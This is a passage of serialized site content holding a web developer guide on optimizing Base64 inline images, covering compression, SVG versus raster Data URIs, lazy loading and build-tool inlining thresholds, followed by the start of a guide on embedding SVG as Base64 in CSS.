KB",[216,11128,11129],{},"5.3 KB",[216,11131,11132],{},"67%",[199,11134,11135,11138,11140,11143,11146],{},[216,11136,11137],{},"Converted to WebP",[216,11139,11109],{},[216,11141,11142],{},"2.5 KB",[216,11144,11145],{},"3.3 KB",[216,11147,11148],{},"79%",[199,11150,11151,11154,11156,11159,11162],{},[216,11152,11153],{},"Resized + WebP",[216,11155,11109],{},[216,11157,11158],{},"1.2 KB",[216,11160,11161],{},"1.6 KB",[216,11163,11164],{},"90%",[11,11166,11168],{"id":11167},"step-2-svg-vs-raster-which-encodes-better","Step 2: SVG vs Raster — Which Encodes Better?",[16,11170,11171],{},"SVGs are already text, so the question is whether Base64 is the right approach at all.",[33,11173,11175],{"id":11174},"svg-inline-markup-best-for-icons","SVG Inline Markup (Best for Icons)",[135,11177,11179],{"className":6417,"code":11178,"language":6419,"meta":141,"style":141},"\u003C!-- Smallest option: inline SVG — no encoding overhead -->\n\u003Csvg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\">\n  \u003Cpath d=\"M12 2v20M2 12h20\"\u002F>\n\u003C\u002Fsvg>\n",[143,11180,11181,11186,11219,11238],{"__ignoreMap":141},[1560,11182,11183],{"class":1562,"line":1563},[1560,11184,11185],{"class":1649},"\u003C!-- Smallest option: inline SVG — no encoding overhead -->\n",[1560,11187,11188,11190,11193,11196,11198,11201,11204,11206,11209,11212,11214,11217],{"class":1562,"line":337},[1560,11189,6431],{"class":1570},[1560,11191,11192],{"class":2484},"svg",[1560,11194,11195],{"class":1566}," viewBox",[1560,11197,7297],{"class":1570},[1560,11199,11200],{"class":5634},"\"0 0 24 24\"",[1560,11202,11203],{"class":1566}," fill",[1560,11205,7297],{"class":1570},[1560,11207,11208],{"class":5634},"\"none\"",[1560,11210,11211],{"class":1566}," stroke",[1560,11213,7297],{"class":1570},[1560,11215,11216],{"class":5634},"\"currentColor\"",[1560,11218,6441],{"class":1570},[1560,11220,11221,11224,11227,11230,11232,11235],{"class":1562,"line":343},[1560,11222,11223],{"class":1570},"  \u003C",[1560,11225,11226],{"class":2484},"path",[1560,11228,11229],{"class":1566}," d",[1560,11231,7297],{"class":1570},[1560,11233,11234],{"class":5634},"\"M12 2v20M2 12h20\"",[1560,11236,11237],{"class":1570},"\u002F>\n",[1560,11239,11240,11243,11245],{"class":1562,"line":365},[1560,11241,11242],{"class":1570},"\u003C\u002F",[1560,11244,11192],{"class":2484},[1560,11246,6441],{"class":1570},[33,11248,11250],{"id":11249},"svg-as-url-encoded-data-uri-better-than-base64-for-simple-svgs","SVG as URL-Encoded Data URI (Better than Base64 for Simple SVGs)",[135,11252,11254],{"className":6417,"code":11253,"language":6419,"meta":141,"style":141},"\u003C!-- URL-encoded SVG — smaller than Base64 for simple paths -->\n\u003Cimg src=\"data:image\u002Fsvg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M12 2v20'\u002F%3E%3C\u002Fsvg%3E\"\n     alt=\"Line icon\">\n",[143,11255,11256,11261,11274],{"__ignoreMap":141},[1560,11257,11258],{"class":1562,"line":1563},[1560,11259,11260],{"class":1649},"\u003C!-- URL-encoded SVG — smaller than Base64 for simple paths -->\n",[1560,11262,11263,11265,11267,11269,11271],{"class":1562,"line":337},[1560,11264,6431],{"class":1570},[1560,11266,10628],{"class":2484},[1560,11268,10631],{"class":1566},[1560,11270,7297],{"class":1570},[1560,11272,11273],{"class":5634},"\"data:image\u002Fsvg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M12 2v20'\u002F%3E%3C\u002Fsvg%3E\"\n",[1560,11275,11276,11278,11280,11283],{"class":1562,"line":343},[1560,11277,10641],{"class":1566},[1560,11279,7297],{"class":1570},[1560,11281,11282],{"class":5634},"\"Line icon\"",[1560,11284,6441],{"class":1570},[33,11286,11288],{"id":11287},"svg-as-base64-data-uri-necessary-for-css-backgrounds","SVG as Base64 Data URI (Necessary for CSS Backgrounds)",[135,11290,11292],{"className":1554,"code":11291,"language":1556,"meta":141,"style":141},".icon {\n  background-image: url('data:image\u002Fsvg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiPjwvc3ZnPg==');\n}\n",[143,11293,11294,11301,11318],{"__ignoreMap":141},[1560,11295,11296,11299],{"class":1562,"line":1563},[1560,11297,11298],{"class":1566},".icon",[1560,11300,1571],{"class":1570},[1560,11302,11303,11306,11308,11311,11313,11316],{"class":1562,"line":337},[1560,11304,11305],{"class":1576},"  background-image",[1560,11307,1663],{"class":1570},[1560,11309,11310],{"class":1576},"url",[1560,11312,1688],{"class":1570},[1560,11314,11315],{"class":5634},"'data:image\u002Fsvg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjQgMjQiPjwvc3ZnPg=='",[1560,11317,1744],{"class":1570},[1560,11319,11320],{"class":1562,"line":343},[1560,11321,1585],{"class":1570},[33,11323,11325],{"id":11324},"when-each-approach-wins","When Each Approach Wins",[193,11327,11328,11342],{},[196,11329,11330],{},[199,11331,11332,11334,11336,11339],{},[202,11333,7441],{},[202,11335,489],{},[202,11337,11338],{},"Size Efficiency",[202,11340,11341],{},"CSS Compatibility",[211,11343,11344,11363,11378],{},[199,11345,11346,11351,11354,11357],{},[216,11347,11348,11349],{},"Inline ",[143,11350,10910],{},[216,11352,11353],{},"Icons, interactive graphics",[216,11355,11356],{},"Best — raw markup",[216,11358,11359,11360,1525],{},"No (use ",[143,11361,11362],{},"background",[199,11364,11365,11368,11373,11376],{},[216,11366,11367],{},"URL-encoded Data URI",[216,11369,11370,11371],{},"Simple SVGs in ",[143,11372,10900],{},[216,11374,11375],{},"Good — no 33% overhead",[216,11377,6117],{},[199,11379,11380,11383,11386,11389],{},[216,11381,11382],{},"Base64 Data URI",[216,11384,11385],{},"CSS backgrounds, complex SVGs",[216,11387,11388],{},"+33% overhead",[216,11390,3057],{},[16,11392,11393],{},"For raster images (PNG, JPEG, WebP), Base64 is your only Data URI option since you cannot represent binary data as URL-encoded text.",[11,11395,11397],{"id":11396},"step-3-lazy-loading-inline-images","Step 3: Lazy Loading Inline Images",[16,11399,11400],{},"Data URIs embedded in HTML load immediately — the browser has no way to defer them. But you can implement lazy loading with a small amount of JavaScript.",[33,11402,11404],{"id":11403},"intersection-observer-approach","Intersection Observer Approach",[135,11406,11408],{"className":6417,"code":11407,"language":6419,"meta":141,"style":141},"\u003C!-- Placeholder element -->\n\u003Cdiv class=\"lazy-image\" data-src=\"data:image\u002Fwebp;base64,UklGRj...\"\n     data-alt=\"Product photo\" style=\"min-height:200px\">\n\u003C\u002Fdiv>\n\n\u003Cscript>\nconst observer = new IntersectionObserver((entries) => {\n  entries.forEach(entry => {\n    if (entry.isIntersecting) {\n      const div = entry.target;\n      const img = document.createElement('img');\n      img.src = div.dataset.src;\n      img.alt = div.dataset.alt;\n      div.replaceWith(img);\n      observer.unobserve(div);\n    }\n  });\n}, { rootMargin: '200px' });\n\ndocument.querySelectorAll('.lazy-image').forEach(el => observer.observe(el));\n\u003C\u002Fscript>\n",[143,11409,11410,11415,11437,11457,11465,11469,11478,11506,11523,11531,11544,11566,11576,11586,11597,11608,11613,11619,11631,11636,11670],{"__ignoreMap":141},[1560,11411,11412],{"class":1562,"line":1563},[1560,11413,11414],{"class":1649},"\u003C!-- Placeholder element -->\n",[1560,11416,11417,11419,11421,11424,11426,11429,11432,11434],{"class":1562,"line":337},[1560,11418,6431],{"class":1570},[1560,11420,7291],{"class":2484},[1560,11422,11423],{"class":1566}," class",[1560,11425,7297],{"class":1570},[1560,11427,11428],{"class":5634},"\"lazy-image\"",[1560,11430,11431],{"class":1566}," data-src",[1560,11433,7297],{"class":1570},[1560,11435,11436],{"class":5634},"\"data:image\u002Fwebp;base64,UklGRj...\"\n",[1560,11438,11439,11442,11444,11447,11450,11452,11455],{"class":1562,"line":343},[1560,11440,11441],{"class":1566},"     data-alt",[1560,11443,7297],{"class":1570},[1560,11445,11446],{"class":5634},"\"Product photo\"",[1560,11448,11449],{"class":1566}," style",[1560,11451,7297],{"class":1570},[1560,11453,11454],{"class":5634},"\"min-height:200px\"",[1560,11456,6441],{"class":1570},[1560,11458,11459,11461,11463],{"class":1562,"line":365},[1560,11460,11242],{"class":1570},[1560,11462,7291],{"class":2484},[1560,11464,6441],{"class":1570},[1560,11466,11467],{"class":1562,"line":889},[1560,11468,1702],{"emptyLinePlaceholder":363},[1560,11470,11471,11473,11476],{"class":1562,"line":1710},[1560,11472,6431],{"class":1570},[1560,11474,11475],{"class":2484},"script",[1560,11477,6441],{"class":1570},[1560,11479,11480,11482,11485,11487,11490,11493,11496,11499,11501,11504],{"class":1562,"line":1717},[1560,11481,8180],{"class":1669},[1560,11483,11484],{"class":1576}," observer",[1560,11486,8186],{"class":1669},[1560,11488,11489],{"class":1669}," new",[1560,11491,11492],{"class":1566}," IntersectionObserver",[1560,11494,11495],{"class":1570},"((",[1560,11497,11498],{"class":2219},"entries",[1560,11500,1733],{"class":1570},[1560,11502,11503],{"class":1669},"=>",[1560,11505,1571],{"class":1570},[1560,11507,11508,11511,11514,11516,11519,11521],{"class":1562,"line":1747},[1560,11509,11510],{"class":1570},"  entries.",[1560,11512,11513],{"class":1566},"forEach",[1560,11515,1688],{"class":1570},[1560,11517,11518],{"class":2219},"entry",[1560,11520,9378],{"class":1669},[1560,11522,1571],{"class":1570},[1560,11524,11525,11528],{"class":1562,"line":2507},[1560,11526,11527],{"class":1669},"    if",[1560,11529,11530],{"class":1570}," (entry.isIntersecting) {\n",[1560,11532,11533,11536,11539,11541],{"class":1562,"line":2524},[1560,11534,11535],{"class":1669},"      const",[1560,11537,11538],{"class":1576}," div",[1560,11540,8186],{"class":1669},[1560,11542,11543],{"class":1570}," entry.target;\n",[1560,11545,11546,11548,11551,11553,11556,11559,11561,11564],{"class":1562,"line":2529},[1560,11547,11535],{"class":1669},[1560,11549,11550],{"class":1576}," img",[1560,11552,8186],{"class":1669},[1560,11554,11555],{"class":1570}," document.",[1560,11557,11558],{"class":1566},"createElement",[1560,11560,1688],{"class":1570},[1560,11562,11563],{"class":5634},"'img'",[1560,11565,1744],{"class":1570},[1560,11567,11568,11571,11573],{"class":1562,"line":2534},[1560,11569,11570],{"class":1570},"      img.src ",[1560,11572,7297],{"class":1669},[1560,11574,11575],{"class":1570}," div.dataset.src;\n",[1560,11577,11578,11581,11583],{"class":1562,"line":2542},[1560,11579,11580],{"class":1570},"      img.alt ",[1560,11582,7297],{"class":1669},[1560,11584,11585],{"class":1570}," div.dataset.alt;\n",[1560,11587,11588,11591,11594],{"class":1562,"line":2558},[1560,11589,11590],{"class":1570},"      div.",[1560,11592,11593],{"class":1566},"replaceWith",[1560,11595,11596],{"class":1570},"(img);\n",[1560,11598,11599,11602,11605],{"class":1562,"line":2570},[1560,11600,11601],{"class":1570},"      observer.",[1560,11603,11604],{"class":1566},"unobserve",[1560,11606,11607],{"class":1570},"(div);\n",[1560,11609,11610],{"class":1562,"line":6638},[1560,11611,11612],{"class":1570},"    }\n",[1560,11614,11616],{"class":1562,"line":11615},17,[1560,11617,11618],{"class":1570},"  });\n",[1560,11620,11622,11625,11628],{"class":1562,"line":11621},18,[1560,11623,11624],{"class":1570},"}, { rootMargin: ",[1560,11626,11627],{"class":5634},"'200px'",[1560,11629,11630],{"class":1570}," });\n",[1560,11632,11634],{"class":1562,"line":11633},19,[1560,11635,1702],{"emptyLinePlaceholder":363},[1560,11637,11639,11642,11645,11647,11650,11652,11654,11656,11659,11661,11664,11667],{"class":1562,"line":11638},20,[1560,11640,11641],{"class":1570},"document.",[1560,11643,11644],{"class":1566},"querySelectorAll",[1560,11646,1688],{"class":1570},[1560,11648,11649],{"class":5634},"'.lazy-image'",[1560,11651,9368],{"class":1570},[1560,11653,11513],{"class":1566},[1560,11655,1688],{"class":1570},[1560,11657,11658],{"class":2219},"el",[1560,11660,9378],{"class":1669},[1560,11662,11663],{"class":1570}," observer.",[1560,11665,11666],{"class":1566},"observe",[1560,11668,11669],{"class":1570},"(el));\n",[1560,11671,11673,11675,11677],{"class":1562,"line":11672},21,[1560,11674,11242],{"class":1570},[1560,11676,11475],{"class":2484},[1560,11678,6441],{"class":1570},[16,11680,11681,11682,11684],{},"This pattern renders a lightweight placeholder, then swaps in the ",[143,11683,10900],{}," tag — and its Base64 payload — only when the element approaches the viewport.",[33,11686,11688],{"id":11687},"css-background-lazy-loading","CSS Background Lazy Loading",[135,11690,11692],{"className":1554,"code":11691,"language":1556,"meta":141,"style":141},".hero-bg {\n  background-color: #e5e7eb; \u002F* solid placeholder color *\u002F\n}\n\n.hero-bg.loaded {\n  background-image: url('data:image\u002Fwebp;base64,UklGRj...');\n}\n",[143,11693,11694,11701,11715,11719,11723,11730,11745],{"__ignoreMap":141},[1560,11695,11696,11699],{"class":1562,"line":1563},[1560,11697,11698],{"class":1566},".hero-bg",[1560,11700,1571],{"class":1570},[1560,11702,11703,11705,11707,11710,11712],{"class":1562,"line":337},[1560,11704,2492],{"class":1576},[1560,11706,1663],{"class":1570},[1560,11708,11709],{"class":1576},"#e5e7eb",[1560,11711,3664],{"class":1570},[1560,11713,11714],{"class":1649},"\u002F* solid placeholder color *\u002F\n",[1560,11716,11717],{"class":1562,"line":343},[1560,11718,1585],{"class":1570},[1560,11720,11721],{"class":1562,"line":365},[1560,11722,1702],{"emptyLinePlaceholder":363},[1560,11724,11725,11728],{"class":1562,"line":889},[1560,11726,11727],{"class":1566},".hero-bg.loaded",[1560,11729,1571],{"class":1570},[1560,11731,11732,11734,11736,11738,11740,11743],{"class":1562,"line":1710},[1560,11733,11305],{"class":1576},[1560,11735,1663],{"class":1570},[1560,11737,11310],{"class":1576},[1560,11739,1688],{"class":1570},[1560,11741,11742],{"class":5634},"'data:image\u002Fwebp;base64,UklGRj...'",[1560,11744,1744],{"class":1570},[1560,11746,11747],{"class":1562,"line":1717},[1560,11748,1585],{"class":1570},[135,11750,11752],{"className":1607,"code":11751,"language":1609,"meta":141,"style":141},"\u002F\u002F Trigger on visibility or after critical resources load\nwindow.addEventListener('load', () => {\n  document.querySelector('.hero-bg').classList.add('loaded');\n});\n",[143,11753,11754,11759,11779,11805],{"__ignoreMap":141},[1560,11755,11756],{"class":1562,"line":1563},[1560,11757,11758],{"class":1649},"\u002F\u002F Trigger on visibility or after critical resources load\n",[1560,11760,11761,11764,11767,11769,11772,11775,11777],{"class":1562,"line":337},[1560,11762,11763],{"class":1570},"window.",[1560,11765,11766],{"class":1566},"addEventListener",[1560,11768,1688],{"class":1570},[1560,11770,11771],{"class":5634},"'load'",[1560,11773,11774],{"class":1570},", () ",[1560,11776,11503],{"class":1669},[1560,11778,1571],{"class":1570},[1560,11780,11781,11784,11787,11789,11792,11795,11798,11800,11803],{"class":1562,"line":343},[1560,11782,11783],{"class":1570},"  document.",[1560,11785,11786],{"class":1566},"querySelector",[1560,11788,1688],{"class":1570},[1560,11790,11791],{"class":5634},"'.hero-bg'",[1560,11793,11794],{"class":1570},").classList.",[1560,11796,11797],{"class":1566},"add",[1560,11799,1688],{"class":1570},[1560,11801,11802],{"class":5634},"'loaded'",[1560,11804,1744],{"class":1570},[1560,11806,11807],{"class":1562,"line":365},[1560,11808,11809],{"class":1570},"});\n",[11,11811,11813],{"id":11812},"step-4-automate-inlining-with-build-tools","Step 4: Automate Inlining with Build Tools",[16,11815,11816],{},"Manual Base64 encoding is error-prone. Build tools can inline assets below a size threshold automatically.",[33,11818,11820],{"id":11819},"vite-default-4-kb","Vite (Default: 4 KB)",[135,11822,11824],{"className":1607,"code":11823,"language":1609,"meta":141,"style":141},"\u002F\u002F vite.config.js\nexport default {\n  build: {\n    assetsInlineLimit: 2048, \u002F\u002F inline assets under 2 KB\n  },\n}\n",[143,11825,11826,11831,11840,11845,11858,11863],{"__ignoreMap":141},[1560,11827,11828],{"class":1562,"line":1563},[1560,11829,11830],{"class":1649},"\u002F\u002F vite.config.js\n",[1560,11832,11833,11835,11838],{"class":1562,"line":337},[1560,11834,9187],{"class":1669},[1560,11836,11837],{"class":1669}," default",[1560,11839,1571],{"class":1570},[1560,11841,11842],{"class":1562,"line":343},[1560,11843,11844],{"class":1570},"  build: {\n",[1560,11846,11847,11850,11853,11855],{"class":1562,"line":365},[1560,11848,11849],{"class":1570},"    assetsInlineLimit: ",[1560,11851,11852],{"class":1576},"2048",[1560,11854,1459],{"class":1570},[1560,11856,11857],{"class":1649},"\u002F\u002F inline assets under 2 KB\n",[1560,11859,11860],{"class":1562,"line":889},[1560,11861,11862],{"class":1570},"  },\n",[1560,11864,11865],{"class":1562,"line":1710},[1560,11866,1585],{"class":1570},[33,11868,11870],{"id":11869},"webpack-url-loader","Webpack (url-loader)",[135,11872,11874],{"className":1607,"code":11873,"language":1609,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nmodule.exports = {\n  module: {\n    rules: [{\n      test: \u002F\\.(png|jpg|gif|svg)$\u002F,\n      type: 'asset',\n      parser: {\n        dataUrlCondition: { maxSize: 2048 }, \u002F\u002F 2 KB\n      },\n    }],\n  },\n}\n",[143,11875,11876,11881,11895,11900,11905,11944,11954,11959,11972,11977,11982,11986],{"__ignoreMap":141},[1560,11877,11878],{"class":1562,"line":1563},[1560,11879,11880],{"class":1649},"\u002F\u002F webpack.config.js\n",[1560,11882,11883,11886,11888,11891,11893],{"class":1562,"line":337},[1560,11884,11885],{"class":1576},"module",[1560,11887,468],{"class":1570},[1560,11889,11890],{"class":1576},"exports",[1560,11892,8186],{"class":1669},[1560,11894,1571],{"class":1570},[1560,11896,11897],{"class":1562,"line":343},[1560,11898,11899],{"class":1570},"  module: {\n",[1560,11901,11902],{"class":1562,"line":365},[1560,11903,11904],{"class":1570},"    rules: [{\n",[1560,11906,11907,11910,11913,11917,11921,11923,11926,11928,11931,11933,11936,11939,11941],{"class":1562,"line":889},[1560,11908,11909],{"class":1570},"      test:",[1560,11911,11912],{"class":5634}," \u002F",[1560,11914,11916],{"class":11915},"snhLl","\\.",[1560,11918,11920],{"class":11919},"sA_wV","(png",[1560,11922,7334],{"class":1669},[1560,11924,11925],{"class":11919},"jpg",[1560,11927,7334],{"class":1669},[1560,11929,11930],{"class":11919},"gif",[1560,11932,7334],{"class":1669},[1560,11934,11935],{"class":11919},"svg)",[1560,11937,11938],{"class":1669},"$",[1560,11940,9423],{"class":5634},[1560,11942,11943],{"class":1570},",\n",[1560,11945,11946,11949,11952],{"class":1562,"line":1710},[1560,11947,11948],{"class":1570},"      type: ",[1560,11950,11951],{"class":5634},"'asset'",[1560,11953,11943],{"class":1570},[1560,11955,11956],{"class":1562,"line":1717},[1560,11957,11958],{"class":1570},"      parser: {\n",[1560,11960,11961,11964,11966,11969],{"class":1562,"line":1747},[1560,11962,11963],{"class":1570},"        dataUrlCondition: { maxSize: ",[1560,11965,11852],{"class":1576},[1560,11967,11968],{"class":1570}," }, ",[1560,11970,11971],{"class":1649},"\u002F\u002F 2 KB\n",[1560,11973,11974],{"class":1562,"line":2507},[1560,11975,11976],{"class":1570},"      },\n",[1560,11978,11979],{"class":1562,"line":2524},[1560,11980,11981],{"class":1570},"    }],\n",[1560,11983,11984],{"class":1562,"line":2529},[1560,11985,11862],{"class":1570},[1560,11987,11988],{"class":1562,"line":2534},[1560,11989,1585],{"class":1570},[33,11991,11993],{"id":11992},"postcss-postcss-inline-svg","PostCSS (postcss-inline-svg)",[135,11995,11997],{"className":1607,"code":11996,"language":1609,"meta":141,"style":141},"\u002F\u002F postcss.config.js\nmodule.exports = {\n  plugins: [\n    require('postcss-inline-svg')({\n      paths: ['.\u002Fsrc\u002Fassets\u002Ficons'],\n    }),\n  ],\n}\n",[143,11998,11999,12004,12016,12021,12034,12045,12050,12055],{"__ignoreMap":141},[1560,12000,12001],{"class":1562,"line":1563},[1560,12002,12003],{"class":1649},"\u002F\u002F postcss.config.js\n",[1560,12005,12006,12008,12010,12012,12014],{"class":1562,"line":337},[1560,12007,11885],{"class":1576},[1560,12009,468],{"class":1570},[1560,12011,11890],{"class":1576},[1560,12013,8186],{"class":1669},[1560,12015,1571],{"class":1570},[1560,12017,12018],{"class":1562,"line":343},[1560,12019,12020],{"class":1570},"  plugins: [\n",[1560,12022,12023,12026,12028,12031],{"class":1562,"line":365},[1560,12024,12025],{"class":1566},"    require",[1560,12027,1688],{"class":1570},[1560,12029,12030],{"class":5634},"'postcss-inline-svg'",[1560,12032,12033],{"class":1570},")({\n",[1560,12035,12036,12039,12042],{"class":1562,"line":889},[1560,12037,12038],{"class":1570},"      paths: [",[1560,12040,12041],{"class":5634},"'.\u002Fsrc\u002Fassets\u002Ficons'",[1560,12043,12044],{"class":1570},"],\n",[1560,12046,12047],{"class":1562,"line":1710},[1560,12048,12049],{"class":1570},"    }),\n",[1560,12051,12052],{"class":1562,"line":1717},[1560,12053,12054],{"class":1570},"  ],\n",[1560,12056,12057],{"class":1562,"line":1747},[1560,12058,1585],{"class":1570},[16,12060,12061,12062,1531,12064,12067],{},"These tools handle encoding, MIME type detection, and size thresholds automatically. You write normal ",[143,12063,8162],{},[143,12065,12066],{},"url()"," statements — the bundler decides what to inline based on your configuration.",[11,12069,12071],{"id":12070},"sizing-limits-how-much-is-too-much","Sizing Limits: How Much Is Too Much?",[16,12073,12074],{},"Track total Base64 payload per page. A practical budget:",[193,12076,12077,12090],{},[196,12078,12079],{},[199,12080,12081,12084,12087],{},[202,12082,12083],{},"Page Type",[202,12085,12086],{},"Max Inline Payload",[202,12088,12089],{},"Rationale",[211,12091,12092,12103,12114],{},[199,12093,12094,12097,12100],{},[216,12095,12096],{},"Landing page",[216,12098,12099],{},"\u003C 10 KB",[216,12101,12102],{},"Critical render path must stay fast",[199,12104,12105,12108,12111],{},[216,12106,12107],{},"Content page",[216,12109,12110],{},"\u003C 20 KB",[216,12112,12113],{},"Text-heavy, images are secondary",[199,12115,12116,12119,12122],{},[216,12117,12118],{},"App dashboard",[216,12120,12121],{},"\u003C 30 KB",[216,12123,12124],{},"More assets acceptable, but monitor FCP",[16,12126,12127],{},"Use Lighthouse or WebPageTest to measure the impact. If Base64 payload exceeds your budget, move assets to external files.",[11,12129,1355],{"id":1354},[41,12131,12132,12139,12142,12145,12148,12151],{},[44,12133,12134,12135,12138],{},"Always compress and resize images ",[47,12136,12137],{},"before"," Base64 encoding — savings compound",[44,12140,12141],{},"SVGs should use inline markup or URL-encoded Data URIs instead of Base64 when possible",[44,12143,12144],{},"Implement lazy loading for Base64 images using Intersection Observer or CSS class toggling",[44,12146,12147],{},"Set build-tool thresholds to automate inlining decisions (2–4 KB is typical)",[44,12149,12150],{},"Monitor total inline payload per page and enforce a size budget",[44,12152,12153],{},"Test rendering performance across devices — mobile CPUs pay a higher decode cost",[11,12155,286],{"id":285},[16,12157,12158,12159,12163],{},"Encode optimized images to Base64 with our ",[98,12160,12162],{"href":12161},"\u002Ftools\u002Fbase64","Base64 Encoder\u002FDecoder",". Compress your image first, then convert it — and compare the Data URI size to understand the real cost of inlining.",[11,12165,321],{"id":320},[41,12167,12168,12174,12180],{},[44,12169,12170],{},[98,12171,12173],{"href":12172},"\u002Fguides\u002Fimage-to-base64-guide","Image to Base64: When to Embed Images in HTML and CSS",[44,12175,12176],{},[98,12177,12179],{"href":12178},"\u002Fguides\u002Fdata-uri-performance","Data URI Performance: Trade-offs of Inlining Resources",[44,12181,12182],{},[98,12183,12185],{"href":12184},"\u002Fguides\u002Furl-encoding-guide","URL Encoding Guide",[2043,12187,12188],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":12190},[12191,12192,12196,12202,12206,12211,12212,12213,12214],{"id":10949,"depth":337,"text":10950},{"id":10967,"depth":337,"text":10968,"children":12193},[12194,12195],{"id":11000,"depth":343,"text":11001},{"id":11077,"depth":343,"text":11078},{"id":11167,"depth":337,"text":11168,"children":12197},[12198,12199,12200,12201],{"id":11174,"depth":343,"text":11175},{"id":11249,"depth":343,"text":11250},{"id":11287,"depth":343,"text":11288},{"id":11324,"depth":343,"text":11325},{"id":11396,"depth":337,"text":11397,"children":12203},[12204,12205],{"id":11403,"depth":343,"text":11404},{"id":11687,"depth":343,"text":11688},{"id":11812,"depth":337,"text":11813,"children":12207},[12208,12209,12210],{"id":11819,"depth":343,"text":11820},{"id":11869,"depth":343,"text":11870},{"id":11992,"depth":343,"text":11993},{"id":12070,"depth":337,"text":12071},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Optimize Base64 inline images: compress before encoding, SVG vs raster efficiency, lazy-load Data URIs, and automate inlining with build tools.",{"immutable":363},"\u002Fguides\u002Fbase64-image-optimization",{"title":10944,"description":12215},"guides\u002Fbase64-image-optimization","42VySbhK0f3PYfr2mf6B3zWKxFWv32OTxQPZvm0BhC4",{"id":12222,"title":12223,"body":12224,"date":2070,"description":12848,"extension":361,"meta":12849,"navigation":363,"path":12850,"readingTime":1710,"seo":12851,"stem":12852,"__hash__":12853},"guides\u002Fguides\u002Fbase64-svg-embedding.md","Embedding SVG as Base64 in CSS",{"type":8,"value":12225,"toc":12841},[12226,12229,12233,12239,12349,12355,12413,12458,12462,12465,12478,12570,12580,12586,12592,12596,12599,12619,12658,12683,12689,12695,12699,12702,12752,12755,12759,12762,12829,12832,12838],[16,12227,12228],{},"Scalable Vector Graphics (SVG) are the go-to format for icons, logos, and decorative elements on the web. When embedding SVG into your project, two approaches dominate: inlining the SVG markup directly in the HTML, or encoding the SVG as a Base64 data URI in your CSS. Each technique has distinct trade-offs in performance, caching, maintainability, and styling flexibility.",[11,12230,12232],{"id":12231},"the-two-approaches-compared","The Two Approaches Compared",[16,12234,12235,12238],{},[47,12236,12237],{},"Inline SVG"," places the actual SVG markup inside your HTML document:",[135,12240,12242],{"className":6417,"code":12241,"language":6419,"meta":141,"style":141},"\u003Cbutton>\n  \u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 24 24\" width=\"20\" height=\"20\">\n    \u003Ccircle cx=\"12\" cy=\"12\" r=\"10\" fill=\"currentColor\"\u002F>\n  \u003C\u002Fsvg>\n  Submit\n\u003C\u002Fbutton>\n",[143,12243,12244,12253,12288,12327,12336,12341],{"__ignoreMap":141},[1560,12245,12246,12248,12251],{"class":1562,"line":1563},[1560,12247,6431],{"class":1570},[1560,12249,12250],{"class":2484},"button",[1560,12252,6441],{"class":1570},[1560,12254,12255,12257,12259,12262,12264,12267,12269,12271,12273,12275,12277,12280,12282,12284,12286],{"class":1562,"line":337},[1560,12256,11223],{"class":1570},[1560,12258,11192],{"class":2484},[1560,12260,12261],{"class":1566}," xmlns",[1560,12263,7297],{"class":1570},[1560,12265,12266],{"class":5634},"\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\"",[1560,12268,11195],{"class":1566},[1560,12270,7297],{"class":1570},[1560,12272,11200],{"class":5634},[1560,12274,10649],{"class":1566},[1560,12276,7297],{"class":1570},[1560,12278,12279],{"class":5634},"\"20\"",[1560,12281,10657],{"class":1566},[1560,12283,7297],{"class":1570},[1560,12285,12279],{"class":5634},[1560,12287,6441],{"class":1570},[1560,12289,12290,12293,12296,12299,12301,12304,12307,12309,12311,12314,12316,12319,12321,12323,12325],{"class":1562,"line":343},[1560,12291,12292],{"class":1570},"    \u003C",[1560,12294,12295],{"class":2484},"circle",[1560,12297,12298],{"class":1566}," cx",[1560,12300,7297],{"class":1570},[1560,12302,12303],{"class":5634},"\"12\"",[1560,12305,12306],{"class":1566}," cy",[1560,12308,7297],{"class":1570},[1560,12310,12303],{"class":5634},[1560,12312,12313],{"class":1566}," 